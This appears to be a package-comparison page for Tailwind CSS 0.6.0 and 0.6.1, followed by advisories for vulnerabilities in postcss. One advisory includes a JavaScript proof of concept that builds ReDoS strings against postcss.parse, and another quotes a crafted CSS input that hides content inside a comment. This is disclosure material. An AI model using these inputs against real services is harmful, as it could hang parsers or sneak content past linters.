Tailwind CSS versions 0.6.0 and 0.6.1 are very similar utility-first CSS frameworks designed for rapid UI development. Both versions share the same core dependencies like lodash, postcss, fs-extra, and various PostCSS plugins, ensuring consistent core functionality for developers. The developer dependencies, essential for building and testing the library, also remain identical. This suggests that the underlying build and testing processes haven't changed between the two releases.
The key difference between the versions lies in their release dates. Version 0.6.0 was released on June 21, 2018, while version 0.6.1 followed shortly after on June 22, 2018. Given the extremely short interval, version 0.6.1 likely represents a patch release addressing minor bugs or perhaps small refinements discovered immediately after the 0.6.0 release.
For developers considering Tailwind CSS, both versions offer a robust set of utilities for crafting custom interfaces. The consistency in dependencies indicates a stable and mature codebase at this point in the framework's history. While the specific fixes in 0.6.1 are undocumented here, upgrading to this most recent version is generally advisable due to the potential for bug fixes and optimization. The file count (108) and unpacked size (2032401) are identical, reinforcing the idea that the changes are minimal. Developers can expect similar performance and features between the two versions.
All the vulnerabilities related to the version 0.6.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.